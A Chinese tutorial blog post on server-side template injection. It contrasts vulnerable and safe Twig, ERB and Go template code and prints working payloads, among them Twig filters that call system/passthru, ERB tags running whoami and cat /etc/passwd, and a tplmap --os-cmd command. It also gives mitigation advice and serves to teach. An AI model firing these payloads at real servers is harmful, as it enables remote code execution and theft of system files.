【技术分享】SSTI漏洞学习 (上)——基础知识和一些不常见的模板引擎介绍

VSole2021-08-02 12:08:10

SSTI简介

MVC

MVC是一种框架型模式,全名是Model View Controller。

即模型(model)-视图(view)-控制器(controller)

在MVC的指导下开发中用一种业务逻辑、数据、界面显示分离的方法组织代码,将业务逻辑聚集到一个部件里面,在改进和个性化定制界面及用户交互的同时,得到更好的开发和维护效率。

在MVC框架中,用户的输入通过 View 接收,交给 Controller ,然后由 Controller 调用 Model 或者其他的 Controller 进行处理,最后再返回给 View ,这样就最终显示在我们的面前了,那么这里的 View 中就会大量地用到一种叫做模板的技术。

绕过服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,而模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,就会导致敏感信息泄露、代码执行、GetShell 等问题.

虽然市面上关于SSTI的题大都出在python上,但是这种攻击方式请不要认为只存在于 Python 中,凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言。 

常见的模板引擎和注入漏洞

Twig(PHP)

首先以Twig模板引擎介绍SSTI,很多时候,SSTI发生在直接将用户输入作为模板,比如下面的代码

require_once "./vendor/autoload.php";
$loader = new \Twig\Loader\ArrayLoader([    'index' => 'Hello {{ name }}!',]);$twig = new \Twig\Environment($loader);
$template = $twig->createTemplate("Hello {$_GET['name']}!");
echo $template->render();

createTemplate时注入了$_GET['name'],就会引发SSTI

而如下代码则不会,因为模板引擎解析的是字符串常量中的{{name}},而不是动态拼接的$_GET["name"]

require_once "./vendor/autoload.php";
$loader = new \Twig\Loader\ArrayLoader([    'index' => 'Hello {{ name }}!',]);$twig = new \Twig\Environment($loader);
echo $twig->render('index', array("name" => $_GET["name"]));

而对于模板引擎的利用,往往是借助模板中的一些方法实现攻击目的,比如Twig中的过滤器map

举个经典的例子

{{["man"]|map((arg)=>"hello #{arg}")}}

会被编译成下面这样

twig_array_map([0 => "id"], function ($__arg__) use ($context, $macros) { $context["arg"] = $__arg__; return ("hello " . ($context["arg"] ?? null))

关于这个twig_array_map,源码中是这样的

可以看到传入的$arrow被当作函数执行,那么可以不传arrow function,可以只传一个字符串,找个两个参数的能够命令执行的危险函数即可

比如

{{["id"]|map("system")|join(",")}}{{["phpinfo();"]|map("assert")|join(",")}}{{["id", 0]|map("passthru")}}

类似的,我们还可以找到一些其他的过滤器sort,filiter,网上也有较多介绍,就不再赘述了。

当然,SSTI还有一种基础的利用方式就是用来泄露源码和程序环境中的上下文信息,在Twig引擎中,我们可以通过下面方法获得一些关于当前应用的信息

{{_self}} #指向当前应用{{_self.env}}{{dump(app)}}{{app.request.server.all|join(',')}}

ERB(Ruby)

相较于Twig,ERB的代码直接提供了一些命令执行的接口,比如

<%= system("whoami") %><%= system('cat /etc/passwd') %><%= `ls /` %><%= IO.popen('ls /').readlines()  %>

这里提起他主要是引出模板标签的一些分类

比如这里的ERB模板标签使用<%= %>,Twig使用{{}},根据一些简单的poc和标签的分类,我们可以快速识别出是否存在模板漏洞以及所使用的模板引擎技术

当然有些模板引擎的标签是可以自定义的,上面列出的只是默认情况

Golang SSTI

关于Golang Template的SSTI研究目前来说还比较少,可能是因为本身设计的也比较安全。

不过通过{{.}}我们可以获得到作用域

比如在下面这个例子中

package main
import (    "html/template"    "net/http")
func handler(w http.ResponseWriter, r *http.Request) {    //var name = ""    r.ParseForm() // Parses the request body    x := r.Form.Get("name")    var test map[string]interface{}    test = make(map[string]interface{})
    var secret map[string]interface{}    secret = make(map[string]interface{})
    flag := "flag{testflag}"    secret["flag"] = &flag
    test["secret"] = secret
    var tmpl = `    First name:
` + x + ` 
`
    t := template.New("main") //name of the template is main    t, _ = t.Parse(tmpl)      // parsing of template string    t.Execute(w, test)}
func main() {    server := http.Server{        Addr: "0.0.0.0:5090",    }    http.HandleFunc("/", handler)    server.ListenAndServe()}

可以获取到作用域对象

进一步可以获得flag

甚至如果在作用域中存在可以利用的函数,我们还可以调用该函数完成攻击,比如

type User struct {    ID       int    Email    string    Password string}
func (u User) System(test string) string {    out, _ := exec.Command(test).CombinedOutput()    return string(out)}

就有

Flask/Jinja

这个引擎应该是出镜率最高的了,能写的东西也很多,由于篇幅所限,具体内容会在(下)中展开记录。

常用检测工具Tplmap

工具地址:https://github.com/epinna/tplmap

和sqlmap的设计风格一致,直接怼就行

/tplmap.py --os-cmd -u 'http://www.target.com/page?name=John'

总结

SSTI在MVC架构中是经常出现的一类问题,除去本文中介绍的几个引擎,还有许多受影响的引擎,比如Velocity 等。该问题主要是由于开发者直接将用户输入作为模板交给模板引擎渲染导致的,将用户输入绑定到模板的参数中可以缓解这一问题。通过SSTI,我们往往可以获取到程序运行的上下文环境,甚至利用模板引擎的内置方法完成远程代码注入等高危攻击。

stringtwig
本作品采用《CC 协议》,转载必须注明作者和本文链接
sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。BladeBlade 是 Laravel 提供的一个既简单又强大的模板引擎。它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。
为解决实验室,编辑会话cookie中的序列化对象以利用此漏洞并获得管理权限。然后,删除 Carlos 的帐户。您可以使用以下凭据登录自己的帐户:wiener:peter解决方案此实验与权限提升有关,我们使用bp抓包,重点关注cookie1.登录,查看我的账户页面,bp发现cookie内容是序列化的。在Repeater中替换cookie,已经有了admin权限。
虽然市面上关于SSTI的题大都出在python上,但是这种攻击方式请不要认为只存在于 Python 中,凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言。
如果你不是 Java8 的钉子户,你应该早就发现了:String 类的源码已经由 char[] 优化为了 byte[] 来存储字符串内容,为什么要这样做呢? 开门见山地说,从 char[] 到 byte[],最主要的目的是为了节省字符串占用的内存 。内存占用减少带来的另外一个好处,就是 GC 次数也会减少。
通过common-collection相关gadget,想办法调用org.mozilla.classfile.DefiningClassLoader这个类去加载字节码。然后通过T3协议的反序列化漏洞发送给待攻击weblogic服务器。
举个例子:但是对于64位的来说 ROPgadget预设的长度是不够的。所以,我们可以使用ROPgadget --binary ./b --depth 100来加深他的搜索深度。2利用_libc_csu_init制造ROP常规方法我们前面说的利用ROPgadget来寻找,大多都是找到直接设置某个寄存器的rop,当然也可以使用--ropchain这个参数。
一般情况下类与类之间是相互独立的,内部类的意思就是打破这种独立思想,让一个类成为另一个类的内部信息,和成员变量、成员方法同等级别。「内部类的好处:」把一个类写在外面和写在里面最终达到的结果都一样,那我们为什么还要使用内部类,岂不是多此一举吗?
java安全-02RMI
2022-03-25 15:35:13
基础知识动态代理反射攻击方式注册端攻击服务端java -cp .\ysoserial-master-8eb5
MISC中常用python脚本
2021-09-20 20:26:46
MISC中常用python脚本总结
之前看chenx6大佬的博客学习了一下编写基础的LLVM Pass,但是那个有很明显的问题是,作者为了处理Function内部重复引用的多次解密的问题,特判了引用次数,如果存在多处对global string的引用是无法进行混淆的。但是实际的编程中很难不会引用多处字符串,所以那个只能混淆简单代码。之后学习了一下pluto-obfuscator项目,里面有一份GlobalEncryption.cpp,借此机会学习一下,顺便写一份New PassManager版本的。runOnModule首先获取Module的LLVMContext,获取所有的全局变量,添加到GVs中。
VSole
网络安全专家